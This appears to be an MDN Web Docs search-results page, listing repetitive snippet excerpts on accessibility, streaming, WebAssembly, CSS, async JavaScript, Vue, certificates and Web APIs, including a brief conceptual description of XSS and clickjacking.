web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using
web-based applications. Example 3: Markup for the tabs widget with ARIA attributes added. <!-- Now *these* are Tabs! --> <!-- We've added role attributes to describe the tab list and each tab. --> <ol role="tablist"> <li id="ch1Tab" role="tab"> <a href="#ch1...
...And 3 more matches
Live streaming web audio and video - Developer guides
now how you can get started. The key consideration when streaming media to a browser is the fact that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined start or end. Key differences between streamed and static media In this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or
WebM file. This file sits on a server and can be delivered -- like most other files -- to the browser. This is often known as a progressive download. Live streamed media lacks a finite start and end time as rather than a static file, it is a stream of data that the server passes on down the line to the browser and is often adaptive (see below). Usually, we require different formats and special serve...
...ms. For example, you could implement MPEG-DASH using JavaScript while offloading the decoding to MSE. Note: Time Shifting is the process of consuming a live stream sometime after it happened. Video Streaming File Formats A couple of HTTP-based live streaming video formats are beginning to see support across browsers. Note: You can find a guide to encoding HLS and MPEG-DASH for use on the
web at Setting up adaptive streaming media sources. MPEG-DASH DASH stands for Dynamic Adaptive Streaming over HTTP and is a new format that has recently seen support added to Chrome, and Internet Explorer 11 running on Windows 8.1. It is supported via Media Source Extensions which are used by JavaScript libraries such as DASH.js. This approach allows us to download chunks of the video stream using...
.... This approach allows us to download chunks of the video stream using XHR and "append" the chunks to the stream that's played by the <video> element. So for example, if we detect that the network is slow, we can start requesting lower quality (smaller) chunks for the next segment. This technology also allows an advertising segment to be appended/inserted into the stream. Note: you can also use
WebM with the MPEG DASH adaptive streaming system. HLS HLS or HTTP Live Streaming is a protocol invented by Apple Inc and supported on iOS, Safari and the latest versions of Android browser / Chrome. HLS is also adaptive. HLS can also be decoded using JavaScript, which means we can support the latest versions of Firefox, Chrome and Internet Explorer 10+. See this HTTP Live Streaming JavaScript pl...
...And 3 more matches
Mobile Web Development - Developer guides
Designing for mobile devices Mobile devices have quite different hardware characteristics compared with desktop or laptop computers. Their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. They usually have touch screens for user input. ...
...viously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. They usually have touch screens for user input. APIs like geolocation or orientation are either not supported on desktops or are much less useful, and these APIs give mobile users new ways to interact with your site. Working with small screens Responsive
Web Design is a term for a set of techniques that enables your
web site to adapt its layout as its viewing environment -- most obviously, the size and orientation of the screen -- changes. It includes techniques such as: fluid CSS layouts, to make the page adapt smoothly as the browser window size changes the use of media queries to conditionally include CSS rules appropriate for the device scree...
...nd resolution. You do this in CSS by querying for screen height, width, and pixel ratio. You can also make use of CSS properties to implement visual effects like gradients and shadows without images. Mobile APIs Finally, you can take advantage of the new possibilities offered by mobile devices, such as orientation and geolocation. Cross-browser development Write cross-browser code To create
web sites that will work acceptably across different mobile browsers: Try to avoid using browser-specific features, such as vendor-prefixed CSS properties. If you do need to use these features, check whether other browsers implement their own versions of these features, and target them too. For browsers that don't support these features, provide an acceptable fallback. For example, if you set ...
...And 3 more matches
WebAssembly.CompileError() constructor - JavaScript
The
WebAssembly.CompileError() constructor creates a new
WebAssembly CompileError object, which indicates an error during
WebAssembly decoding or validation. Syntax new
WebAssembly.CompileError(message, fileName, lineNumber) Parameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
...ameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
... ECMAScript (ECMA-262)The definition of 'NativeError constructor' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data an...
...And 3 more matches
WebAssembly.RuntimeError() constructor - JavaScript
The
WebAssembly.RuntimeError() constructor creates a new
WebAssembly RuntimeError object -- the type that is thrown whenever
WebAssembly specifies a trap. Syntax new
WebAssembly.RuntimeError(message, fileName, lineNumber) Parameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
...ameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
... ECMAScript (ECMA-262)The definition of 'NativeError constructor' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-co...
...And 3 more matches
WebAssembly.Table.prototype.set() - JavaScript
The set() prototype method of the
WebAssembly.Table object mutates a reference stored at a given index to a different value. Syntax table.set(index, value); Parameters index The index of the function reference you want to mutate. value The value you want to mutate the reference to. This must be an exported
WebAssembly function, a JavaScript wrapper for an underlying wasm function. Return value Void. Exceptions If index is greater than or equal to Table.prototype.length, a RangeError is thrown. If value is not an exported
WebAssembly function or null, a TypeError is thrown. Examples Using Table.set The following example (see table2.html source code and live version) creates a new
WebAssembly Table instance with an initial size of 2 references. We then print out the table...
...g Table.set The following example (see table2.html source code and live version) creates a new
WebAssembly Table instance with an initial size of 2 references. We then print out the table length and contents of the two indexes (retrieved via Table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null). ...
...rently contain no function references (they currently return null). ...
...And 3 more matches
Animation performance and frame rate - Web Performance
These animations can consume CPU and/or cause jank. ...
...The performance cost of animating a CSS property can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate. For animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue. Code based animations, be it CSS, SVG, <canvas>,
webGL or other JavaScript animations, can cause performance issues even if the bandwidth footprint is small. ...
...erty can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate. For animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue. Code based animations, be it CSS, SVG, <canvas>,
webGL or other JavaScript animations, can cause performance issues even if the bandwidth footprint is small. These animations can consume CPU and/or cause jank. While performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur. Users expect all i...
...And 3 more matches
Optimizing startup performance - Web Performance
up? Does it seem to lock up the device or the user's browser while the app loads? That makes users worry that your app is crashed, or that something else is wrong. It's always a good idea to take the time to ensure that your app starts up nicely. This article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the
Web. Starting up nicely Regardless of platform, it's always a good idea to start up as quickly as possible. Since that's a universal issue, we won't be focusing on it too much here. Instead, we're going to look at a more important issue when building
Web apps: starting up as asynchronously as possible. That means not running all your startup code in a single event handler on the app's main thread.
...d idea to start up as quickly as possible. Since that's a universal issue, we won't be focusing on it too much here. Instead, we're going to look at a more important issue when building
Web apps: starting up as asynchronously as possible. That means not running all your startup code in a single event handler on the app's main thread. Instead, you should write your code so that your app creates a
Web worker that does as much as possible in a background thread (for example, fetching and processing data.) Then, anything that must be done on the main thread (such as user events and rendering UI) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up. This will prevent the app, browser, and/or device from appearing to have locked up. Why is it im...
...alculations should be performed in background threads, while you keep the run-time of main thread events as short as possible. Include a progress indicator so the user knows what's going on and how long they'll be waiting. In theory, anyway, it should be pretty easy to design your new app to start up nicely. On the other hand, however, it can get tricky when you're porting an existing app to the
Web. A desktop application doesn't need to be written in an asynchronous fashion because usually the operating system handles that for you, or the app is the only thing that matters which is currently running, depending on the operating environment. The source application might have a main loop that can easily be made to operate asynchronously (by running each main loop iteration separately); startup...
...And 3 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
But today it is very much a reality. This article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. ...
...But today it is very much a reality. This article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. ...
...ferent resolutions In this section we'll review different strategies for dealing with getting images to work across devices with different resolutions. The issue here is that raster images, when rendered on high res devices, are in danger of appearing tiny because the same number of pixels is being shown in a much smaller screen space. Most hi res devices apply a default zoom factor to the whole
web page so that the content is a bit more legible, but the downside of this is that the images in question start to look pixellated and ugly because they have been zoomed in. high res and low res image copies One option here is to create a hi res and a low res set of images, then use resolution media queries to serve the hi res images only to hi res devices. Programmatic images You should also...
...And 3 more matches
Web technology reference
HTML provides a means to create structured documents made up of blocks called HTML elements that are delineated by tags, written using angle brackets. ...
...HTML provides a means to create structured documents made up of blocks called HTML elements that are delineated by tags, written using angle brackets. ...
...HTML provides a means to create structured documents made up of blocks called HTML elements that are delineated by tags, written using angle brackets. ...
...And 3 more matches
Types of attacks - Web security
. This can be used, for example, to steal login credentials or to get the user's unwitting permission to install a piece of malware. (Click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) Cross-site request forgery (CSRF) Cross-site scripting (XSS) Cross-site scripting (XSS) is a security exploit which allows an attacker to inject into a
website malicious client-side code. This code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open
Web Application Security Project, XSS was the seventh most common
Web app vulnerability in 2017. These attacks succeed if the
Web app does not employ enough validation or encoding. The user's browser cannot detect the malicious script is ...
... The malicious content often includes JavaScript, but sometimes HTML, Flash, or any other code the browser can execute. ...
... The malicious content often includes JavaScript, but sometimes HTML, Flash, or any other code the browser can execute. ...
...And 3 more matches
Advanced styling effects - Learn web development
drawn a circle that fits inside the file. It is that circle that the text flows around. Note: In Firefox you can use the DevTools Shapes Inspector to inspect Shapes. The circle() function is just one of a few basic shapes that are defined, however there are a number of different ways to create shapes. For more information and example code for CSS Shapes see the Guides to CSS Shapes on MDN. -
webkit-background-clip: text Another feature we thought we'd mention briefly is the text value for background-clip. When used along with the proprietary -
webkit-text-fill-color: transparent; feature, this allows you to clip background images to the shape of the element's text, making for some nice effects. This is not an official standard, but has been implemented across multiple browsers, as it is ...
...When used along with the proprietary -
webkit-text-fill-color: transparent; feature, this allows you to clip background images to the shape of the element's text, making for some nice effects. This is not an official standard, but has been implemented across multiple browsers, as it is popular, and used fairly widely by developers. ...
... -
webkit-text-fill-color: transparent; feature, this allows you to clip background images to the shape of the element's text, making for some nice effects. This is not an official standard, but has been implemented across multiple browsers, as it is popular, and used fairly widely by developers. ...
...And 2 more matches
Organizing your CSS - Learn web development
CSS organised, and also means that if multiple people are working on the CSS you will have fewer situations where two people need to work on the same stylesheet at once, leading to conflicts in source control. Other tools that can help CSS itself doesn't have much in the way of in-built organisation, therefore you need to do the work to create consistency and rules around how you write CSS. The
web community has also developed various tools and approaches that can help you to manage larger CSS projects. As they may be helpful for you to investigate, and you are likely to come across these things when working with other people, we've included a short guide to some of these. CSS methodologies Instead of needing to come up with your own rules for writing CSS, you may benefit from adopting on...
... an approach made popular by the work of Nicole Sullivan. The basic idea of OOCSS is to separate your CSS into reusable objects, which can be used anywhere you need on your site. The standard example of OOCSS is the pattern described as The Media Object. This is a pattern with a fixed size image, video or other element on one side, and flexible content on the other. It's a pattern we see all over
websites for comments, listings, and so on. If you are not taking an OOCSS approach you might create custom CSS for the different places this pattern is used, for example creating a class called comment with a bunch of rules for the component parts, then a class called list-item with almost the same rules as the comment class except for some tiny differences. The differences between these two compon...
...lied to this HTML from the page about BEM Naming conventions: <form class="form form--theme-xmas form--simple"> <input class="form__input" type="text" /> <input class="form__submit form__submit--disabled" type="submit" /> </form> The additional classes are similar to those used in the OOCSS example, however they use the strict naming conventions of BEM. BEM is widely used in larger
web projects and many people write their CSS in this way. It is likely that you will come across examples, even in tutorials, that use BEM syntax, without mentioning why the CSS is structured in such a way. To read more about the system read BEM 101 on CSS Tricks. Other common systems There are a large number of these systems in use. Other popular approaches include Scalable and Modular Architectu...
...And 2 more matches
Supporting older browsers - Learn web development
Previous Overview: CSS layout Next In this module, we recommend using Flexbox and Grid as the main layout methods for your designs. However, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. This will always be the case on the
web -- as new features are developed, different browsers will prioritise different things. This article explains how to use modern
web techniques without locking out users of older technology. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.) Objective: To understand how to provide support for your layouts on older browsers that might not support the features you want to use. Wh...
...without locking out users of older technology. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.) Objective: To understand how to provide support for your layouts on older browsers that might not support the features you want to use. What is the browser landscape for your site? Every
website is different in terms of target audience. Before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. This is straightforward if you have an existing
website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. If you have no analytics or this is a brand new sit...
...to make this easy for you at MDN, by providing browser compatibility information on each page detailing a CSS property. For example, take a look at the page for grid-template-columns. At the bottom of this page is a table, which lists major browsers along with the version they began supporting this property. Another popular way to find out about how well a feature is supported is the Can I Use
website. This site lists the majority of
Web Platform features with information about their browser support status. You can view usage statistics by location -- useful if you work on a site that has users mostly for a specific area of the world. You can even link your Google Analytics account to get analysis based on your user data. Understanding the technology your users have, and the support for t...
...And 2 more matches
How CSS is structured - Learn web development
etail. Applying CSS to HTML First, let's examine three methods of applying CSS to a document: with an external stylesheet, with an internal stylesheet, and with inline styles. External stylesheet An external stylesheet contains CSS in a separate file with a .css extension. This is the most common and useful method of bringing CSS to a document. You can link a single CSS file to multiple
web pages, styling all of them with the same CSS stylesheet. In the Getting started with CSS, we linked an external stylesheet to our
web page. You reference an external CSS stylesheet from an HTML <link> element: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>My CSS experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>Hello World!</h1> ...
...rcumstances, internal stylesheets can be useful. For example, perhaps you're working with a content management system where you are blocked from modifying external CSS files. But for sites with more than one page, an internal stylesheet becomes a less efficient way of working. To apply uniform CSS styling to multiple pages using internal stylesheets, you must have an internal stylesheet in every
web page that will use the styling. The efficiency penalty carries over to site maintenance too. With CSS in internal stylesheets, there is the risk that even one simple styling change may require edits to multiple
web pages. Inline styles Inline styles are CSS declarations that affect a single HTML element, contained within a style attribute. The implementation of an inline style in an HTML docume...
...ody> <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Hello World!</h1> <p style="color:red;">This is my first CSS example</p> </body> </html> Avoid using CSS in this way when possible. It is the opposite of a best practice. First, it is the least efficient implementation of CSS for maintenance. One styling change might require multiple edits within in a single
web page. Second, inline CSS also mixes (CSS) presentational code with HTML and content, making everything more difficult to read and understand. Separating code and content makes maintenance easier for all who work on the the
website. There are a few circumstances where inline styles are more common. You might have to resort to using inline styles if your working environment is very restrictive. Fo...
...And 2 more matches
CSS first steps - Learn web development
Get started Prerequisites Before starting this module, you should have: Basic familiarity with using computers, and using the
Web passively (i.e. ...
... Get started Prerequisites Before starting this module, you should have: Basic familiarity with using computers, and using the
Web passively (i.e. ...
... basics of how it works, what the syntax looks like, and how you can start using it to add styling to HTML. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have: Basic familiarity with using computers, and using the
Web passively (i.e. looking at it, consuming the content.) A basic work environment set up as detailed in Installing basic software, and an understanding of how to create and manage files, as detailed in Dealing with files. Basic familiarity with HTML, as discussed in the Introduction to HTML module. Note: If you are working on a computer/tablet/other device where you don't have the ability to c...
...And 2 more matches
How do I use GitHub Pages? - Learn web development
ith other people's code too! This article provides a basic guide to publishing content using Github's gh-pages feature. Publishing content GitHub is a very important and useful community to get involved in, and Git/GitHub is a very popular version control system -- most tech companies now use it in their workflow. GitHub has a very useful feature called GitHub Pages, which allows you to publish
website code live on the
Web. Basic Github setup First of all, install Git on your machine. This is the underlying version control system software that GitHub works on top of. Next, sign up for a GitHub account. It's simple and easy. Once you've signed up, log in to github.com with your username and password. Preparing your code for upload You can store any code you like in a Github reposito...
... the underlying version control system software that GitHub works on top of. Next, sign up for a GitHub account. It's simple and easy. Once you've signed up, log in to github.com with your username and password. Preparing your code for upload You can store any code you like in a Github repository, but to use the GitHub Pages feature to full effect, your code should be structured as a typical
website, e.g. with the primary entry point being an HTML file called index.html. The other thing you need to do before moving on is to initialise your code directory as a Git repository. To do this: Point the command line to your test-site directory (or whatever you called the directory containing your
website). For this, use the cd command (i.e. "change directory"). Here's what you'd type if you...
...th the primary entry point being an HTML file called index.html. The other thing you need to do before moving on is to initialise your code directory as a Git repository. To do this: Point the command line to your test-site directory (or whatever you called the directory containing your
website). For this, use the cd command (i.e. "change directory"). ...
...And 2 more matches
What are browser developer tools? - Learn web development
These tools do a range of things, from inspecting currently-loaded HTML, CSS and JavaScript to showing which assets the page has requested and how long they took to load. This article explains how to use the basic functions of your browser's devtools. Note: Before you run through the examples below, open the Beginner's example site that we built during the Getting started with the
Web article series. You should have this open as you follow the steps below. ...
...u should have this open as you follow the steps below. How to open the devtools in your browser The devtools live inside your browser in a subwindow that looks roughly like this, depending on what browser you are using: How do you pull it up? Three ways: Keyboard: Ctrl + Shift + I, except Internet Explorer and Edge: F12 macOS: ? + ? + I Menu bar: Firefox: Menu ?
Web Developer ? Toggle Tools, or Tools ?
Web Developer ? Toggle Tools Chrome: More tools ? Developer tools Safari: Develop ? Show
Web Inspector. If you can't see the Develop menu, go to Safari ? Preferences ? Advanced, and check the Show Develop menu in menu bar checkbox. Opera: Developer ? Developer tools Context menu: Press-and-hold/right-click an item on a
webpage (Ctrl-click on th...
...orer Chrome DOM inspector (Opera's inspector works the same as this) Safari DOM inspector and style explorer The JavaScript debugger The JavaScript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that prevent your code from executing properly. To get to the debugger: Firefox: Select ?
Web Developer ? Debugger or press Ctrl + Shift + S to open the JavaScript Debugger. If the tools are already displayed, click on the Debugger tab. Chrome: Open the Developer tools and then select the Sources tab. (Opera works the same way.) Edge and Internet Explorer 11: Press F12 and then, Ctrl + 3, or if the tools are already displayed, click on the Debugger tab. Safari: Open the Developer Tools...
...And 2 more matches
How do you set up a local testing server? - Learn web development
Objective: You will learn how to set up a local testing server. Local files vs. remote files Throughout most of the learning area, we tell you to just open your examples directly in a browser -- this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing File > Open... ...
... You will learn how to set up a local testing server. Local files vs. remote files Throughout most of the learning area, we tell you to just open your examples directly in a browser -- this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing File > Open... and navigating to the HTML file. There are many ways to achieve this. If the
web address path starts with file:// followed by the path to the file on your local hard drive, a local file is being used. In contrast, if you view one of our examples hosted on GitHub (or an example on some other remote server), the
web address will start with http:// or https://, to show that the file has been received via HTTP. The problem with testing local files Some examples won't run if you...
...P. The problem with testing local files Some examples won't run if you open them as local files. This can be due to a variety of reasons, the most likely being: They feature asynchronous requests. Some browsers (including Chrome) will not run async requests (see Fetching data from the server) if you just run the example from a local file. This is because of security restrictions (for more on
web security, read
Website security). They feature a server-side language. Server-side languages (such as PHP or Python) require a special server to interpret the code and deliver the results. Running a simple local HTTP server To get around the problem of async requests, we need to test such examples by running them through a local
web server. One of the easiest ways to do this for our purposes ...
...And 2 more matches
Introduction to HTML - Learn web development
it a paragraph? Is it a bulleted list? Is it part of a table?), structure a document into logical sections (Does it have a header? Three columns of content? A navigation menu?), and embed content such as images and videos into a page. This module will introduce the first two of these and introduce fundamental concepts and syntax you need to know to understand HTML. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you don't need any previous HTML knowledge, but you should have at least basic familiarity with using computers and using the
web passively (i.e., just looking at it and consuming content). You should have a basic work...
... Note: If you are working on a computer/tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as JSBin or Glitch. ...
...ts, attributes, and other important terms, and show where they fit in the language. We also show how a typical HTML page is structured and how an HTML element is structured, and explain other important basic language features. Along the way, we'll play with some HTML to get you interested! What's in the head? Metadata in HTML The head of an HTML document is the part that is not displayed in the
web browser when the page is loaded. It contains information such as the page <title>, links to CSS (if you want to style your HTML content with CSS), links to custom favicons, and metadata (data about the HTML, such as who wrote it, and important keywords that describe the document). HTML text fundamentals One of HTML's main jobs is to give text meaning (also known as semantics), so that the brows...
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
graph won't appear until after the OK button is pressed in the alert box. You can try it for yourself: <button>Click me</button> Note: It is important to remember that alert(), while being very useful for demonstrating a synchronous blocking operation, is terrible for use in real world applications. Asynchronous JavaScript For reasons illustrated earlier (e.g. related to blocking), many
Web API features now use asynchronous code to run, especially those that access or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a
web cam, or broadcasting the display to a VR headset. Why is this difficult to get to work using synchronous code? Let's look at a quick exampl...
... In this example we loop through an array of Greek gods and print the index numbers and values to the console. The expected parameter of forEach() is a callback function, which itself takes two parameters, a reference to the array name and index values. However, it doesn't wait for anything -- it runs immediately. Promises Promises are the new style of async code that you'll see used in modern
Web APIs. A good example is the fetch() API, which is basically like a modern, more efficient version of XMLHttpRequest. Let's look at a quick example, from our Fetching data from the server article: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { products = json; initialize(); }).catch(function(err) { console.log('Fetch problem: ' + err.mess...
...s "src" property This is because at the time the browser tries to run the third console.log() statement, the fetch() block has not finished running so the image variable has not been given a value. Note: For security reasons, you can't fetch() files from your local filesystem (or run other such operations locally); to run the above example locally you'll have to run the example through a local
webserver. Active learning: make it all async! To fix the problematic fetch() example and make the three console.log() statements appear in the desired order, you could make the third console.log() statement run async as well. This can be done by moving it inside another .then() block chained onto the end of the second one, or by simply moving it inside the second then() block. Try fixing this now...
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
Previous Overview: Asynchronous Next Promises are a comparatively new feature of the JavaScript language that allow you to defer further actions until after a previous action has completed, or respond to its failure. This is useful for setting up a sequence of async operations to work correctly. This article shows you how promises work, how you'll see them in use with
web APIs, and how to write your own. Prerequisites: Basic computer literacy, a reasonable understanding of JavaScript fundamentals. Objective: To understand promises and how to use them. What are promises? We looked at Promises briefly in the first article of the course, but here we'll look at them in a lot more depth. Essentially, a Promise is an object that represents an intermediate...
...failure case. Generally, you are less interested in the amount of time an async operation will take to return its result (unless of course, it takes far too long!), and more interested in being able to respond to it being returned, whenever that is. And of course, it's nice that it doesn't block the rest of the code execution. One of the most common engagements you'll have with promises is with
web APIs that return a promise. Let's consider a hypothetical video chat application. The application has a window with a list of the user's friends, and clicking on a button next to a user starts a video call to that user. That button's handler calls getUserMedia() in order to get access to the user's camera and microphone. Since getUserMedia() has to ensure that the user has permission to use thos...
...function called setStatusMessage() to update a status display with the message "Calling...", indicating that a call is being attempted. It then calls getUserMedia(), asking for a stream that has both video and audio tracks, then once that's been obtained, sets up a video element to show the stream coming from the camera as a "self view," then takes each of the stream's tracks and adds them to the
WebRTC RTCPeerConnection representing a connection to another user. After that, the status display is updated to say "Connected". If getUserMedia() fails, the catch block runs. This uses setStatusMessage() to update the status box to indicate that an error occurred. The important thing here is that the getUserMedia() call returns almost immediately, even if the camera stream hasn't been obtained ye...
...And 2 more matches
Making decisions in your code — conditionals - Learn web development
is not just for setting variable values; you can also run functions, or lines of code -- anything you like. The following live example shows a simple theme chooser where the styling for the site is applied using a ternary operator. ...
... Finally, we've also got an onchange event listener that serves to run a function containing a ternary operator. It starts with a test condition -- select.value === 'black'. If ...
...l.style.backgroundColor = bgColor; html.style.color = textColor; } select.onchange = function() { ( select.value === 'black' ) ? update('black','white') : update('white','black'); } Here we've got a <select> element to choose a theme (black or white), plus a simple <h1> to display a
website title. We also have a function called update(), which takes two colors as parameters (inputs). The
website's background color is set to the first provided color, and its text color is set to the second provided color. Finally, we've also got an onchange event listener that serves to run a function containing a ternary operator. It starts with a test condition -- select.value === 'black'. If this returns true, we run the update() function with parameters of black and white, meaning that we end up ...
...And 2 more matches
Working with JSON - Learn web development
You'll come across it quite often, so in this article we give you all you need to work with JSON using JavaScript, including parsing JSON so you can access data within it, and creating JSON. ...
...You'll come across it quite often, so in this article we give you all you need to work with JSON using JavaScript, including parsing JSON so you can access data within it, and creating JSON. ...
...is valid for inclusion inside JSON, not just arrays or objects. So for example, a single string or number would be a valid JSON object. Unlike in JavaScript code in which object properties may be unquoted, in JSON only quoted strings may be used as properties. Active learning: Working through a JSON example So, let's work through an example to show how we could make use of some JSON data on a
website. Getting started To begin with, make local copies of our heroes.html and style.css files. The latter contains some simple CSS to style our page, while the former contains some very simple body HTML: <header> </header> <section> </section> Plus a <script> element to contain the JavaScript code we will be writing in this exercise. At the moment it only contains two lines, which grab refere...
...And 2 more matches
Getting started with Vue - Learn web development
ite so that any framework updates do not break your live site without you knowing.) <script src="/static/external/29/29296ccacaa9ed35ed168fc51e36f54fd6f8db9c7786bbf38cc59a27229ba5c2.svg"></script> However, this approach has some limitations. To build more complex apps, you'll want to use the Vue NPM package. This will let you use advanced features of Vue and take advantage of bundlers like
WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package & the CLI you will need: Node.js 8.11+ installed. npm or yarn. Note: If you don't have the above installed, find out more about installing npm and Node.js here. To install the CLI, run the following command in your terminal: npm install --global @vue/cli Or if you'd ...
...dern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file. .browserslistrc: This is a config for Browserslist. You can use this to control which browsers your tooling optimizes for. public: This directory contains static assets that are published, but not processed by
Webpack during build (with one exception; index.html gets some processing). favicon.ico: This is the favicon for your app. Currently, it's the Vue logo. index.html: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it. Note: this is not the template for managing the layout of your application -- t...
...or additional Vue libraries. App.vue: this is the top-level component in your Vue app. See below for more explanation of Vue components. components: this directory is where you keep your components. Currently it just has one example component. assets: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by
Webpack. This means you can use pre-processors like Sass/SCSS or Stylus. Note: Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a views directory). .vue files (single file components) Like in many front-end frameworks, components are a central part of building apps in Vue. Thes...
...And 2 more matches
A Web PKI x509 certificate primer
In general, x509 certificates bind a signature to a validity period, a public key, a subject, an issuer, and a set of extensions. ...
...In general, x509 certificates bind a signature to a validity period, a public key, a subject, an issuer, and a set of extensions. ...
...lidation. One issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing). Extensions While RFC 5280 defines 16 extensions for
webpki in this document we will be describing the six extensions we considered critical for understanding. Certificates can have other extensions not described on RFC 5280, but that is out of the scope of this document. Extensions can be marked as critical or non-critical, conforming certificate verification libraries should stop processing verification when encountering a critical extension that the...
...And 2 more matches
Web Console - Firefox Developer Tools
The JavaScript input interpreter How to interact with a document using the Console. Split console Use the Console alongside other tools. Console messages Details of the messages that the Console logs. Helper commands Commands you can use that are not part of JavaScript. Rich output See and interact with objects logged by the Console. ...
... The JavaScript input interpreter How to interact with a document using the Console. Split console Use the Console alongside other tools. Console messages Details of the messages that the Console logs. Helper commands Commands you can use that are not part of JavaScript. Rich output See and interact with objects logged by the Console. ...
... Console: Logs information associated with a
web page: network requests, JavaScript, CSS, security errors and warnings as well as error, warning and informational messages explicitly logged by JavaScript code running in the page context Enables you to interact with a
web page by executing JavaScript expressions in the context of the page User interface of the
Web Console Parts of the
Web Console UI. The JavaScript input interpreter How to interact with a document using the Console. Split console Use the Console alongside other tools. Console messages Details of the messages that the Console logs. Helper commands Commands you can use that are not part of JavaScript. Rich output See and interact with objects logged by the Console. Keyboard shortcuts Shortcut refere...
...And 2 more matches
BaseAudioContext - Web APIs
The BaseAudioContext interface of the
Web Audio API acts as a base definition for online and offline audio-processing graphs, as represented by AudioContext and OfflineAudioContext respectively. You wouldn't use BaseAudioContext directly -- you'd use its features via one of these two inheriting interfaces. A BaseAudioContext can be a target of events, therefore it implements the EventTarget interface. ...
... a target of events, therefore it implements the EventTarget interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/BaseAudioContext" target="_top"><rect x="151" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">BaseAudioContext</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Propertie...
...And 2 more matches
BeforeInstallPromptEvent - Web APIs
This interface inherits from the Event interface. ...
...ome screen on mobile. This interface inherits from the Event interface. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/BeforeInstallPromptEvent" target="_top"><rect x="116" y="1" width="240" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">BeforeInstallPromptEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;}...
...And 2 more matches
Canvas API - Web APIs
Basic example This simple example draws a green rectangle onto a canvas. ...
... Canvas Handbook A handy reference for the Canvas API. Demo: A basi...
